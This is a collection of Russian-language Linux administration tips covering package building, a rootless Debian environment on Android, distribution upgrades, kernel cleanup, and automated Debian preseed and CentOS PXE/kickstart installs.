    Устанавливаем его:
    
       rpm -ivh licq-1.3.5-4.fc10.src.rpm
    
    Переходим в директорию /usr/src/redhat/SOURCES и копируем туда свой патч licq-rus-login.patch
    
    Переходим в директорию /usr/src/redhat/SPECS/ и в файле licq.spec добавляем две строки:
    
       ...
       Patch3: licq-rus-login.patch
       ...
       %patch3 -p1 -b .licq-rus-login
    
    Собираем пакет:
    
       rpmbuild -ba licq.spec
    
    Устанавливаем собранные пакеты:
    
       cd /usr/src/redhat/RPMS/i386
       rpm -Uvh --force licq-*
    
     
    ----* Linux окружение noroot в Android-смартфоне собственными руками. (доп. ссылка 1)   Автор: Павел Оредиез  [комментарии]
     
    В этой заметке я расскажу как собрать своё Linux-окружение на Android-смартфоне
    без прав root (рутовать телефон не надо). Можно конечно взять готовые решения в
    Google Play Store, но можно и пройти этот путь самостоятельно.
    
    Если вы решите повторить мой опыт, то вы получите Xfce4-окружение с псевдо
    пользователем root на своём мобильном телефоне с Android. Работает это почти
    без отличий от реального пользователя root, только конечно модифицировать сам
    телефон это возможности не даёт. Итак приступим.
    
    Termux
    
    Установим в Android приложение Termux (требуется Android версии 7 или выше).
    Это наше базовое Linux окружение и отправная точка. Запуская его мы попадаем в
    шелл с домашним каталогом, который будем называть TERMUX_HOME.
    
    Итак в TERMUX_HOME установим требуемые нам начальные пакеты:
    
       pkg install root-repo
       pkg install proot
       pkg install debootstrap
       pkg install nano
       pkg install wget
       pkg install man
    
    Debootstrap
    
    Теперь можно устанавливать Linux окружение.
    Проверим нашу архитектуру.
    
       uname -ar
       Linux localhost 4.9.193-perf-gc285628 #1 SMP PREEMT Fri Aug 6 02:12:50 CST 2021 aarch64 Android
    
    Моя архитектура 64-битная, значит --arch=arm64. Если у вас архитектура
    32-битная, то ваш вариант --arch=armhf
    
    В TERMUX_HOME:
    
       mkdir ./chroot
       debootstrap --arch=arm64 bullseye ./chroot http://mirror.yandex.ru/debian
       mkdir ./chroot/system
       mkdir ./chroot/apex
       mkdir ./chroot/home/user
    
    Вот мы получили базовое окружение. Правда dpkg configure отработает наверное с
    некоторыми ошибками, но войти в окружение уже можно. Ошибки мы разберём позже.
    
    Вход в Linux окружение
    
    Вход под псевдо рутом нам позволяет команда proot, которую мы установили ранее.
    В TEMUX_HOME создадим скрипт входа start.sh:
    
       #!/data/data/com.termux/files/usr/bin/sh
       unset LD_PRELOAD
       proot \
         -0 \
         --link2symlink \
         -w /root \
         -r ./chroot \
         -b /sys/ \
         -b /system \
         -b /apex \
         -b /proc/ \
         -b /dev/ \
         -b /dev/pts/ \
         /usr/bin/env \
           -i \
           HOME=/root \
           LD_LIBRARY_PATH=/system/lib64:/system/apex/com.android.runtime.release/lib64 \
           XDG_RUNTIME_DIR=/tmp \
           DISPLAY=127.0.0.1:0 \
           PULSE_SERVER=tcp:127.0.0.1:4713 \
           TERM="xterm-256color" \
           PATH=/bin:/usr/bin:/sbin:/usr/sbin \
           /bin/bash --login
    
    Для входа не под root (опционально) создайте скрипт входа ustart.sh:
    
       #!/data/data/com.termux/files/usr/bin/sh
       unset LD_PRELOAD
       proot \
         --link2symlink \
         -w /root \
         -r ./chroot \
         -b /sys/ \
         -b /system \
         -b /apex \
         -b /proc/ \
         -b /dev/ \
         -b /dev/pts/ \
         /usr/bin/env \
           -i \
           HOME=/home/user \
           LD_LIBRARY_PATH=/system/lib64:/system/apex/com.android.runtime.release/lib64 \
           XDG_RUNTIME_DIR=/tmp \
           DISPLAY=127.0.0.1:0 \
           PULSE_SERVER=tcp:127.0.0.1:4713 \
           TERM="xterm-256color" \
           PATH=/bin:/usr/bin:/sbin:/usr/sbin \
           /bin/bash --login
    
    Для 32-битного окружение поправьте LD_LIBRARY_PATH
    
    Сделаем скрипты исполняемыми:
    
       chmod a+x start.sh
       chmod a+x ustart.sh
    
    Теперь можно войти в окружение:
    
       ./start.sh
       root@localhost:~#
    
    Вот мы и псевдо root :).
    Назовём это ENV_HOME.
    
    Ошибки dpkg
    
    Ошибки dpkg в основном у меня были связаны с неправильной работой 
    утилиты adduser при добавлении системных пользователей. Поэтому чтобы избежать
    их сразу дополним файлы (в ENV_HOME)
    
    /etc/passwd:
    
       systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
       systemd-network:x:101:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
       systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
       _apt:x:103:65534::/nonexistent:/usr/sbin/nologin
       messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
       statd:x:106:65534::/var/lib/nfs:/usr/sbin/nologin
       avahi:x:108:113:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
       systemd-coredump:x:996:996:systemd Core Dumper:/:/usr/sbin/nologin
       user:x:10264:10264:User:/home/user:/bin.bash
    
    /etc/group:
    
       systemd-journal:x:101:
       systemd-timesync:x:102:
       systemd-network:x:103:
       systemd-resolve:x:104:
       netdev:x:109:pi
       messagebus:x:110:
       avahi:x:113:
       systemd-coredump:x:996:
       user:x:10264:
    
    Здесь id 10264 это id моего пользователь в TERMUX_HOME. У вас может быть другое число.
    
    Второй хук для неисправных пакетов заключается в убирании скриптов конфигурирования (в ENV_HOME):
    
       mv /var/lib/dpkg/info/<package>* /tmp/
    
    Установка остальных пакетов
    
    В ENV_HOME выполним
    
       apt install xfce4 dbus-x11
    
    Мы готовы запустить графическую оболочку, для этого нам нужен X сервер.
    
    X сервер
    
    В Android установите приложение XServer XSDL. Этот сервер имеет также
    звуковую pulseaudio подсистему. Ранее в скриптах входа в окружение в команде
    proot мы передали переменные DISPLAY и PULSE_SERVER, так что у нас все готово
    для запуска (в ENV_HOME):
    
       xfce4-session
    
    Должна запуститься графическая оболочка, звук тоже должен работать (звуковой
    вход не поддерживается только воспроизведение).
    Xserver XSDL может показаться сначала не очень красивым, но он хорошо
    функционален и красоты можно добиться. Мои параметры:
    ориентация портретная, разрешение нативное, дурацкие кнопки alt-shift-чего-то
    скрыты (они у меня всё равно не работают или я не понял как), мышь в режиме
    телефон-тачпад. Можно еще попробовать поиграться с xrandr если поддерживается
    для использования виртуального пространства X сервера, я не пробовал.
    
    Библиотеки Android
    
    В аргументах команды proot мы пробросили в окружение Android каталоги /system и /apex.
    
    Так что нам доступны Android библитеки /system/lib /system/lib64.
    Например мне нужно было чтобы правильно отрабатывала команда
    
       ldd /system/lib64/libOpenSLES.so
    
    (не должно быть "not found").
    
    Если ldd отрабатывает неправильно, то обратите внимание, библиотеки в
    /system/lib* могут быть симлинками на другие места. Возможно надо подбиндить
    другие каталоги Android и(или) поправить LD_LIBRARY_PATH.
    
    Благодарности
    
    Выражаю свою благодарность Sergii Pylypenko (pelya) за его труд - автору проектов 
    XServer XSDL, pulseaudio-android, xserver-xsdl, Debian noroot. У
    него я подсмотрел многое.
    
     
    ----* Получаем патчи безопасности для Ubuntu 16.04 (доп. ссылка 1)   Автор: Владимир  [комментарии]
     
    У операционной системы Ubuntu 16.04 закончилась основная поддержка https://wiki.ubuntu.com/Releases
    
    Пользователи Ubuntu 16.04 могут продолжить получать патчи безопасности для
    своей системы до 2024 года, но для этого требуется подключение к программе
    Ubuntu Advantage. На один аккаунт можно добавить 3 машины (бесплатно для
    персонального использования), получив ключ по ссылке https://ubuntu.com/advantage
    
       Free for personal use
       Anyone can use UA Infrastructure Essential for free on up to 3
       machines (limitations apply). All you need is an Ubuntu One account.
    
    В последнем обновлении поставляется утилита ua с помощью которой происходит подключение к сервису
     
       user@ubuntu:~$ sudo ua attach Ca1**********
     
       [sudo] пароль для user: 
       Enabling default service esm-infra
       Updating package lists
       UA Infra: ESM enabled
       Enabling default service livepatch
       Installing snapd
       Updating package lists
       Installing canonical-livepatch snap
       Canonical livepatch enabled.
       This machine is now attached to '*****@gmail.com'
     
       SERVICE       ENTITLED  STATUS    DESCRIPTION
       esm-infra     yes       enabled   UA Infra: Extended Security Maintenance (ESM)
       fips          yes       disabled  NIST-certified FIPS modules
       fips-updates  yes       disabled  Uncertified security updates to FIPS modules
       livepatch     yes       enabled   Canonical Livepatch service
    
    
    Также для систем которые ещё актуальны (ubuntu 18.04, 20.04) существует 
    сервис livepatch, поставляющий патчи для ядра Linux, устанавливаемые без
    перезагрузки. Данный сервис также бесплатен для 3 машин на аккаунт.
     
    
     
    ----* Просмотр зависимостей пакета и принадлежности файла пакету в Linux   [комментарии]
     
    Для просмотра от каких пакетов зависит пакет gnome-calculator:
    
    Debian/Ubuntu:
    
       apt depends gnome-calculator
    
    Fedora/CentOS/RHEL:
    
       dnf deplist gnome-calculator
    
    SUSE:
    
       zypper se --requires gnome-calculator
    
    
    Для просмотра какие другие пакеты зависят от пакета  gnome-calculator:
    
    Debian/Ubuntu:
    
       apt rdepends gnome-calculator 
    
    Fedora/CentOS/RHEL:
    
       rpm -q --whatrequires gnome-calculator 
       dnf repoquery --whatrequires gnome-calculator 
    
    Для просмотра какому пакету принадлежит файл /usr/bin/gnote
    
    Debian/Ubuntu:
    
       dpkg -S /usr/bin/gnote
       apt-file /usr/bin/gnote
    
    Fedora/CentOS/RHEL:
    
       rpm -qf /usr/bin/gnote
       dnf provides /usr/bin/gnote
    
    SUSE:
    
       zypper wp /usr/bin/gnote
    
     
    ----* Улучшение безопасности sources.list в дистрибутивах, использующих APT (доп. ссылка 1)   Автор: KOLANICH  [комментарии]
     
    Опция "signed-by" привязывает доверенный публичный ключ к репозиторию, что
    блокирует установку ПО в случае, если InRelease подписан другим ключом. Опция
    может быть установлена как в fingerprint ключа, так и в форме пути к файлу.
    
    Это позволяет защититься от некоторых атак в следующей модели угроз:
    
    1. допустим, что есть репозиторий, доступный по скомпрометированному каналу,
    чей приватный ключ не может быть скомпрометирован;
    
    2. допустим, что есть репозиторий, доступный по безопасному каналу, чей
    приватный ключ был скомпромитирован;
    
    3. оба репозитория прописаны в sources.list и оба ключа добавлены в доверенные.
    
    Тогда, если нет привязки, злоумышленник может использовать скомпрометированный
    ключ второго репозитория для подписи поддельного InRelease для первого
    репозитория, получая RCE.
    
    Поэтому в https://wiki.debian.org/DebianRepository/UseThirdParty рекомендуется
    прописывать всем сторонним репозиториям "signed-by", при этом указано
    использовать путь к ключу вместо fingerprint-а.
    
    По моему мнению, имеет смысл прописывать signed-by вообще всем репозиториям.
    
    В дистрибутивах, использующих APT, почему-то по умолчанию не используется опция
    signed-by. В инструкциях по подключению других репозиториев тоже почти никогда
    не встречаются указания её использовать.
    
    Так как ручная идентификация ключей для каждого репозитория - дело трудоёмкое,
    был подготовлен скрипт, разбирающий sources.list, автоматически
    идентифицирующий fingerprint-ы и файлы ключей для каждого репозитория и
    выдающий модифицированный sources.list для сравнения с оригинальным.
    
    В скрипте используется собственная библиотека для парсинга и сериализации
    sources.list на основе грамматики для parglare.
    
     
    ----* Обновление версии Fedora из командной строки (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    При выходе новой версии Fedora приложение GNOME Software автоматически
    предлагает перейти на новый релиз, не покидая графический интерфейс.
    
    Для тех кому необходимо выполнить обновление из командной строки, можно
    использовать следующую последовательность команд.
    
    Обновляем текущее окружение до самого свежего состояния:
    
       sudo dnf upgrade --refresh
    
    Устанавливаем плагин к DNF для обновления выпусков дистрибутива:
    
       sudo dnf install dnf-plugin-system-upgrade
    
    Запускаем загрузку пакетов для обновления до релиза Fedora 29:
    
       sudo dnf system-upgrade download --releasever=29
    
    В случае проблем с нарушением зависимостей, устаревшими и необновляемыми
    пакетами можно использовать опцию "--allowerasing" для удаления проблемных пакетов.
    
    После окончания загрузки новых пакетов инициируем применение обновлений после перезагрузки системы:
    
       sudo dnf system-upgrade reboot
    
    После завершения обновления система ещё раз перезагрузится.
    
    Если в новой системе выводится сообщение о повреждении БД RPM, можно
    перегенерировать индекс пакетов:
    
       sudo rpm --rebuilddb
    
    Если после обновления часть пакетов осталась необновлена или наблюдаются
    проблемы с зависимостями, можно попробовать вручную запустить distro-sync:
    
       sudo dnf distro-sync
    
    или с удалением проблемных пакетов 
    
       sudo dnf distro-sync --allowerasing
    
    В случае предупреждений о недопустимости выполнения операций из-за ограничений
    SELinux можно перегенерировать метки SELinux:
    
       sudo fixfiles onboot
    
     
    ----* Как очистить ранее установленные старые ядра Linux в Ubuntu, RHEL и Fedora (доп. ссылка 1)   [комментарии]
     
    В Ubuntu после установки очередного обновления ядра Linux, ранее использованное
    ядро сохраняется. Со временем старые ядра и связанные с ними заголовочные файлы
    съедают ощутимую часть дискового пространства и их приходится чистить, вручную
    выбирая для удаления оставленные пакеты. Начиная с Ubuntu 16.04 в репозиторий
    добавлен пакет byobu, в котором имеется скрипт purge-old-kernels,
    предназначенный для очистки старых ядер.
    
    Устанавливаем пакет:
    
       sudo apt install byobu
    (в более ранних выпусках утилита находилась в пакете bikeshed)
    или загружаем скрипт отдельно:
       wget https://raw.githubusercontent.com/dustinkirkland/byobu/master/usr/bin/purge-old-kernels
    
    Проводим чистку старых ядер:
    
       sudo purge-old-kernels
    
    По умолчанию после выполнения этой команды в системе будет оставлено два самых
    свежим пакета с ядром. При желании число оставленных пакетов можно изменить при
    помощи опции "--keep", например:
    
       sudo purge-old-kernels --keep 3
    
    Скрипт достаточно прост:
    
       KEEP=2
       APT_OPTS=
       CANDIDATES=$(ls -tr /boot/vmlinuz-* | head -n -${KEEP} | grep -v "$(uname -r)$" | cut -d- -f2- | awk '{print "linux-image-" $0 " linux-headers-" $0}' )
       for c in $CANDIDATES; do
    	dpkg-query -s "$c" >/dev/null 2>&1 && PURGE="$PURGE $c"
       done
    
       if [ -z "$PURGE" ]; then
    	echo "No kernels are eligible for removal"
    	exit 0
       fi
    
       apt $APT_OPTS remove --purge $PURGE
    
    
    В Red Hat Enterprise Linux и CentOS для чистки старый ядер можно использовать
    утилиту package-cleanup, которая входит в состав пакета yum-utils. Например,
    чтобы оставить только два последних ядра можно выполнить:
    
       package-cleanup --oldkernels --count=2
    
    В Fedora для решения аналогичной задачи можно воспользоваться штатным DNF:
    
       dnf remove $(dnf repoquery --installonly --latest-limit -2 -q) 
    
     
    ----* Автоматическая установка Debian с помощью preseed (доп. ссылка 1)   Автор: l8saerexhn1  [комментарии]
     
    Требовалось установить Debian с флешки или CD в полностью автоматическом
    режиме. Без доступа к Интернету. Софт- минимальный набор (Debian Jessie
    netinstall ISO). Архитектура - i686. После инсталляции необходимо установить
    дополнительные пакеты, произвести определенные настройки установленной ОС. Тоже
    в автоматическом режиме.
    
    Установку Debian'a можно полностью автоматизировать путем создания файла со
    сценарием ответов на все вопросы инсталлятора. Интегрировав данный сценарий в
    инсталляционный образ получим полностью самоустанавливаемый Debian. Способ
    автоматической установки называется Debian Preseed. Созданный файл-сценарий
    ответов (preseed.cfg) пакуется его в initrd инсталляционного ISO-образа Debian.
    На выходе получаем обычный ISO-образ, готовый к автоматической установке.
    
    
    Для создания собственного инсталляционного ISO-образа необходимо произвести ряд действий. А именно:
    
    
  • смонтировать оригинальный ISO;
  • "выудить" из него initrd, распаковать его;
  • скопировать в "корень" initrd созданный файл preseed.cfg и все необходимое для настройки устанавливаемой системы по завершении установки (см. ниже);
  • собрать обратно ISO образ. Для автоматизации сборки образа сделаем скрипт makeiso.sh. Выполнять его необходимо с правами рута. Для работы скрипта нужны установленные пакеты rsync, syslinux, genisoimage, md5sum. В директорию, где находится скрипт,  необходимо скопировать оригинальный Debian ISO и файл-сценарий preseed.cfg. Также необходимо создать директорию extra - в ней будут находиться пост-инсталляционный скрипт и все необходимое, для его работы. cat makeiso.sh #!/bin/bash mkdir mnt mkdir irmod mkdir cd INISO=debian-8.3.0-i386-netinst.iso OUTISO=debian-preseed.iso mount -o loop $INISO mnt rsync -a -H --exclude=TRANS.TBL mnt/ cd umount mnt rmdir mnt # Pack custom initrd cd irmod gzip -d < ../cd/install.386/initrd.gz | cpio --extract --verbose --make-directories --no-absolute-filenames cp -f ../preseed.cfg preseed.cfg find . | cpio -H newc --create --verbose | gzip -9 > ../cd/install.386/initrd.gz cd ../ rm -fr irmod/ # Fix md5 sum cd cd md5sum `find -follow -type f` > md5sum.txt cd .. # Copy custom postinst script to new ISO cp -Rf extra cd/ # Create new ISO rm test.iso genisoimage -o $OUTISO -r -J -no-emul-boot -boot-load-size 4 -boot-info-table -b isolinux/isolinux.bin -c isolinux/boot.cat ./cd rm -rf cd isohybrid -o $OUTISO При успешной отработке скрипта получим образ debian-preseed.iso (в формате hybrid iso), готовый для записи как на USB-носитель, так и на CD. Записать образ на флешку можно, например, вот так: cat debian-preseed.iso /dev/sdX где sdХ - флешка Теперь, собственно, сам preseed-сценарий. cat preseed.cfg d-i debian-installer/locale string ru_RU.UTF8 d-i console-keymaps-at/keymap select ru ### Network configuration d-i netcfg/enable boolean false d-i netcfg/get_hostname string host_name d-i netcfg/get_domain string domain.name ### Mirror settings d-i mirror/country string enter information manually d-i mirror/http/hostname string http.us.debian.org d-i mirror/http/directory string /debian d-i mirror/http/proxy string ### Partitioning d-i partman-auto/method string regular d-i partman-auto/disk string /dev/sda d-i partman-auto/expert_recipe string \ boot-root:: \ 1000 10000 1000000 ext4 \ $primary{ } $bootable{ } \ method{ format } format{ } \ use_filesystem{ } filesystem{ ext4 } \ mountpoint{ / } \ label{root} \ \ 500 10000 1000000000 ext4 \ $primary{ } \ method{ format } format{ } \ use_filesystem{ } filesystem{ ext4 } \ mountpoint{ /var } \ \ 128 2048 150% linux-swap \ $primary{ } method{ swap } format{ } \ d-i partman/confirm_write_new_label boolean true d-i partman/choose_partition select Finish partitioning and write changes to disk d-i partman/confirm boolean true d-i clock-setup/utc boolean true d-i time/zone string Europe/Moscow ### Apt setup d-i apt-setup/non-free boolean true d-i apt-setup/contrib boolean true d-i apt-setup/use_mirror boolean false # Additional repositories, local[0-9] available d-i apt-setup/local0/repository string deb http://mirror.yandex.ru /debian jessie main d-i apt-setup/local0/source boolean true d-i apt-setup/local0/source string http://mirror.yandex.ru/debian jessie main d-i debian-installer/allow_unauthenticated string true ### Account setup d-i passwd/root-login boolean true d-i passwd/root-password-crypted password MD5_password_hash d-i passwd/make-user boolean true d-i passwd/user-fullname string user d-i passwd/username string user d-i passwd/user-password-crypted password MD5_password_hash ### Base system installation d-i base-installer/kernel/linux/initramfs-generators string yaird ### Boot loader installation d-i grub-installer/skip boolean false d-i lilo-installer/skip boolean true d-i grub-installer/bootdev  string default d-i grub-installer/only_debian boolean true d-i grub-installer/with_other_os boolean true ### Package selection tasksel tasksel/first multiselect standard, ssh-server popularity-contest popularity-contest/participate boolean false ### Finishing up the first stage install d-i finish-install/reboot_in_progress note d-i preseed/late_command string cp -R /cdrom/extra/ /target/root/; \ cd /target; \ chmod +x /target/root/extra/postinst.sh; \ in-target /bin/bash /root/extra/postinst.sh; Пароль рута и пользователя задан в виде хеша. Хеш получаем командой: mkpasswd -m md5 Диск разбивается на 3 раздела: /, /var, и swap. ФС - ext4, Размер swap - не менее 128Мб, примерно 150% от объема установленной памяти. Остальные разделы - примерно пополам от объема диска. После окончания установки в свежеустановленную (т.н. "target") систему копируется директория extra и в chroot-окружении запускается постинсталляционный скрипт postinst.sh. Что ему делать - решать вам. Например, доустановить дополнительный софт, произвести донастройку системы и т.п. Все. Литература * How to modify an existing CD image to preseed d-i * Автоматическая установка с помощью списка ответов * Example preseed * Bug #712907 * HOWTO automate Debian installs with preseed
  •  
    ----* Обновление Debian Wheezy до Debian Jessie, не дожидаясь официального релиза (доп. ссылка 1)   [комментарии]
     
    До релиза Debian 8.0 (Jessie) остаются считанные недели, и за исключением
    некоторых блокирующих релиз ошибок, дистрибутив уже вполне пригоден для
    использовании на рабочей станции. Несмотря на то, что в Wheezy внесены
    кардинальные системные изменения, связанные с переходом на systemd, обновление
    с Wheezy проходит без заметных проблем.
    
    1. Делаем резервную копию текущей системы.
    
    2. Доводим Debian Wheezy до актуального состояния.
    
       # apt-get update
       # apt-get upgrade 
    
    3. Изучаем список не полностью установленных пакетов с состоянием Half-Installed или Failed-Config.
    
       # dpkg --audit
    
    4. Изучаем список отложенных пакетов.
    
       # dpkg --get-selections | grep 'hold$'
    
    5. Решаем выявленные на двух прошлых этапах проблемы, после чего удостоверимся,
    что в общем списке все пакеты имеют статус 'ii'  в первой колонке.
    
       # dpkg -l| grep -v 'ii'| less
    
    6. Удаляем забытые пакеты:
    
       # apt-get autoremove
    
    
    Подготовительная фаза завершена, приступаем к обновлению до Debian Jessie. 
    
    7. Изменяем список репозиториев в /etc/apt/sources.list. Вместо "wheezy" и
    "stable" указываем "jessie".
    
       # vi /etc/apt/sources.list
       deb http://ftp.ru.debian.org/debian/ jessie main
       deb http://security.debian.org/ jessie/updates main
       deb http://ftp.ru.debian.org/debian/ jessie-updates main
       deb http://ftp.ru.debian.org/debian/ jessie-backports main
     
    8. Обновляем список доступных в Debian Jessie пакетов
    
       # apt-get update
    
    9. Обновление производится в две стадии. На первой выполняется замена только
    пакетов, не приводящих к удалению или установке других пакетов.
    На второй выполняется полное обновление всех версий с учётом зависимостей.
    
       # apt-get upgrade
       # apt-get dist-upgrade
    
    В процессе выполнения dist-upgrade на экран будут выводиться запросы для
    принятия тех или иных решений о ходе обновления. Как правило, предлагаемый по
    умолчанию вариант оптимален.
    
    10. Удаляем старые пакеты Wheezy.
    
       # apt-get autoremove
    
     
    ----* Запуск BitTorrent Sync в виде сервиса Systemd (доп. ссылка 1)   [комментарии]
     
    Создаём конфигурацию BitTorrent Sync:
    
       btsync --dump-sample-config
    
    и вносим необходимые изменения в /home/логин/.config/btsync/btsync.json
    
    Создаём unit-файл с описанием параметров сервиса для Systemd - /usr/lib/systemd/system/btsync.service
    
       [Unit]
       Description=BTSync
       After=network.target
     
       [Service]
       User=имя пользователя под которым будет запускаться BitTorrent Sync
       ExecStart=/usr/bin/btsync --config /home/логин/.config/btsync/btsync.json --nodaemon
     
       [Install]
       WantedBy=multi-user.target
    
    Активируем и запускаем сервис:	
    
       systemctl enable btsync
       systemctl start btsync
    
     
    ----* Полуавтоматическое разворачивание рабочих станций CentOS в домене MS Active Directory   Автор: Дмитрий Казаров  [комментарии]
     
    В заметке рассказывается о решении задачи по автоматизации установки новых
    Linux систем и организации управления ими с помощью Active Directory.
    
    Исходные данные:
    
    
  • Домен AD Domain.ru.
  • Дистрибутив CentOS, легально скачанный с сайта CentOS.org (у руководства сейчас пунктик о 100% легальности софта).
  • Очень странный софт спец назначения - 64-битный софт с 32-битным установщиком. Процесс организации установки Linux по сети 1. Готовим сервер установки. 1.1 На сервере виртуалок создаём сервер загрузок из того же CentOS-a с отдельным VLAN-ом и IP адресом 172.17.17.254/24 - основная сетка целиком на MS, лучше её не тревожить... Пока. Сразу ставим туда демоны dhcpd, tftp, nfs, ntpd. Машины заливать будем по NFS - так привычнее. 1.2 Настраиваем на виртуальном сервере DHCP под сетевую загрузку Linux. Правим /etc/dhcp/dhcpd.conf до примерно такого вида: option domain-name "centos"; option domain-name-servers 172.17.17.254; default-lease-time 600; max-lease-time 7200; authoritative; log-facility local7; subnet 172.17.17.0 netmask 255.255.255.0 { range 172.17.17.100 172.17.17.199; option routers 172.17.17.254; filename "pxelinux.0"; next-server 172.17.17.254; } В общем - всё как обычно, кроме пары ключевых параметров: filename и next-server. next-server задаёт IP-адрес tftp-сервера, а filename - файл в папке загрузочных файлов (см следующий пункт). включаем загрузку демона chkconfig dhcpd on и запускаем его service dhcpd start 1.3 Настраиваем tftp Правим файл /etc/xinetd.d/tftp. Точнее в строке disabled ставим значение "no" и в строке server_args ставим те значения, что нам привычны, или оставляем исходные, но запоминаем, куда они указывают. Мне, развлекающемуся с юнихами года так с 1989, привычнее там видеть "-s -vv /tftpboot", что собственно там и оказалось, после моих правок. Создаём саму папку для загрузочных файлов (/tftpboot - из параметра server_args): mkdir /tftpboot Ставим пакет syslinux-а yum install syslinux-4.02-7.el6.x86_64 И копируем PXE-шный загрузчкик в выбранное место: cp /usr/share/syslinux/pxelinux.0 /tftpboot И включаем демон: chkconfig xinetd on service xinetd restart 1.4 Настраиваем NFS Создаём папку для дистрибутива mkdir -p /pub/CentOS Распаковываем туда дистрибутив mkdir -p /mnt/cdrom mount -o loop /путь-к-папке-с-изошником-CentOS/CentOS-6.3-x86_64-bin-DVD1.iso /mnt/cdrom cd /pub/CentOS cp -ra /mnt/cdrom/* . umount /mnt/cdrom mount -o loop /путь-к-папке-с-изошником-CentOS/CentOS-6.3-x86_64-bin-DVD2.iso /mnt/cdrom cp -ra /mnt/cdrom/* . umount /mnt/cdrom Открываем к доступ к папке echo '/pub *(ro,insecure,all_squash)' >> /etc/exports chkconfig nfs on service nfs restart С общей подготовкой сервера - всё. Приступаем к специфичной части. 2. CentOS-овский загрузчик. CentOS, разумеется, для загрузки с CD и DVD использует загрузчик isolinux проекта Syslinux. А значит сделать файл конфигурации загрузки для pxelinux.0, другой загрузчик этого же проекта - не просто, а очень просто. Создаём папку /tftpboot/pxelinux.cfg и папку для дополнительных файлов загрузчика. mkdir -p /tftpboot/pxelinux.cfg Копируем туда под именем default файл конфигурации isolinux-а с дистрибутива CentOS... cd /pub/CentOS/isolinux/ cp isolinux.cfg /tftpboot/pxelinux.cfg/default [[/CODE]] ...и несколько файлов, используемых при загрузке. cp boot.cat boot.msg grub.conf initrd.img splash.jpg TRANS.TBL vesamenu.c32 vmlinuz /tftpboot Добавляем ссылку на файл автоматической инсталяции в параметры ядра. В строки append initrd=initrd.img надо дописать ks=nfs:172.17.17.254:/pub/CentOS-conf/desktop.cfg, где nfs - протокол, по которому надо брать файл конфигурации, 172.17.17.254 - адрес сервера, /pub/CentOS-conf/desktop.cfg - полное имя файла. Получается файл /tftpboot/pxelinux.cfg/default примерно такого вида: default vesamenu.c32 #prompt 1 timeout 80 display boot.msg menu background splash.jpg menu title Welcome to CentOS 6.3! menu color border 0 #ffffffff #00000000 menu color sel 7 #ffffffff #ff000000 menu color title 0 #ffffffff #00000000 menu color tabmsg 0 #ffffffff #00000000 menu color unsel 0 #ffffffff #00000000 menu color hotsel 0 #ff000000 #ffffffff menu color hotkey 7 #ffffffff #ff000000 menu color scrollbar 0 #ffffffff #00000000 label linux menu label ^Install or upgrade an existing system menu default kernel vmlinuz append initrd=initrd.img ks=nfs:172.17.17.254:/pub/CentOS-conf/desktop.cfg label vesa menu label Install system with ^basic video driver kernel vmlinuz append initrd=initrd.img xdriver=vesa nomodeset ks=nfs:172.17.17.254:/pub/CentOS-conf/desktop.cfg label rescue menu label ^Rescue installed system kernel vmlinuz append initrd=initrd.img rescue label local menu label Boot from ^local drive localboot 0xffff label memtest86 menu label ^Memory test kernel memtest append - 3. Проблема совместимости 64-битной ОС с 32-битными приложениями. При наличии 32-битных библиотек у 64-битной ОС ни каких проблем совместимости нет. Но вот не задача: новый yum теперь 32-битные библиотеки ставить не будет. Дело всё в параметре multilib_policy - в 5-ом CentOSе он имел значение all, теперь - best. Как правильно побороть это на этапе установки - не знаю. В Интернете нашёл, как побороть это по-быстрому (http://lists.centos.org/pipermail/centos/2011-July/114513.html). Вытаскиваем из архива файл yuminstall.py во временную папку mkdir /tmp/1 cd /tmp/1 rpm2cpio /pub/CentOS/Packages/anaconda-13.21.176-1.el6.centos.x86_64.rpm | cpio -id ./usr/lib/anaconda/yuminstall.py Добавляем строку multilib_policy=all после строки [main], где-то 1252 строка файла. Можно применить такой патчик: cd usr/lib/anaconda/ cat <<EOP > patch --- yuminstall.py.orig 2012-12-25 13:49:06.979604951 +0400 +++ yuminstall.py 2012-12-25 13:51:15.433740741 +0400 @@ -1250,6 +1250,7 @@ buf = """ [main] +multilib_policy=all installroot=%s cachedir=/var/cache/yum keepcache=0 EOP patch < patch Кладём подправленный файл в папку, откуда его точно заглотит инсталлятор: mkdir /pub/CentOS/RHupdates/ cp yuminstall.py /pub/CentOS/RHupdates/ 4. Создание конфигурации Kickstart. Теперь надо создать конфигурационный файл инсталлятора. Сделать это проще всего в графическом конфигураторе system-config-kickstart yum install system-config-kickstart system-config-kickstart Запускается простой Х-овый интерфейс выбора параметров. Заполняем его по своему усмотрению, ключевыми являются закладки "Метод установки" и "Сценарий после установки". Т.к. я изначально решил устанавливать по NFS в методе установки указываем "Выполнить новую установку", "Установочный носитель" - NFS, "Сервер NFS" - 172.17.17.254 и "Каталог NFS" - /pub/CentOS. Содержимое закладки "Сценарий после установки" можно скопировать из примера конфигурационного файла, приведённого ниже, между полями %post и %end. Пакеты выбираем по собственному вкусу, но для интеграции с Active Directory необходимы samba-winbind krb5-workstation openldap-clients их можно выбрать в "Выбор пакетов" -> "Базовая система" -> "Клиент каталогов". На всякий случай, мало ли на какой каталог придётся переползать, я ставлю вообще все пакеты этого подраздела. Сохраняем файл конфигурации /pub/CentOS-conf/desktop.cfg - именно на него ссылаются параметры ks из п.2. У меня файл /pub/CentOS-conf/desktop.cfg получился таким (он содержит комментарии на русском, их лучше удалить перед использованием - не хватало ещё глюков из-за кириллицы): #platform=x86, AMD64, or Intel EM64T #version=DEVEL # Firewall configuration - Внутри локалки firewall по большей части мешает. firewall --disabled # Install OS instead of upgrade install # Use NFS installation media nfs --server=172.17.17.254 --dir=/pub/CentOS # Root password rootpw --iscrypted <зашифрованный пароль> # System authorization information auth --useshadow --passalgo=md5 --enablecache # Use text mode install text # Run the Setup Agent on first boot firstboot --disable # System keyboard keyboard ru # System language lang ru_RU # SELinux configuration selinux --disabled # Installation logging level logging --level=info ## Turnoff power after installation # Удобно при большом кол-ве одновременно заливаемых компов - готовые выключены, # и хорошо заметно, который можно уносить. Кикстарт не понимает всей прелести такого # и этот параметр приходится дописывать руками. poweroff # System timezone timezone Europe/Moscow # Network information network --bootproto=dhcp --device=eth0 --onboot=on # System bootloader configuration bootloader --location=mbr # 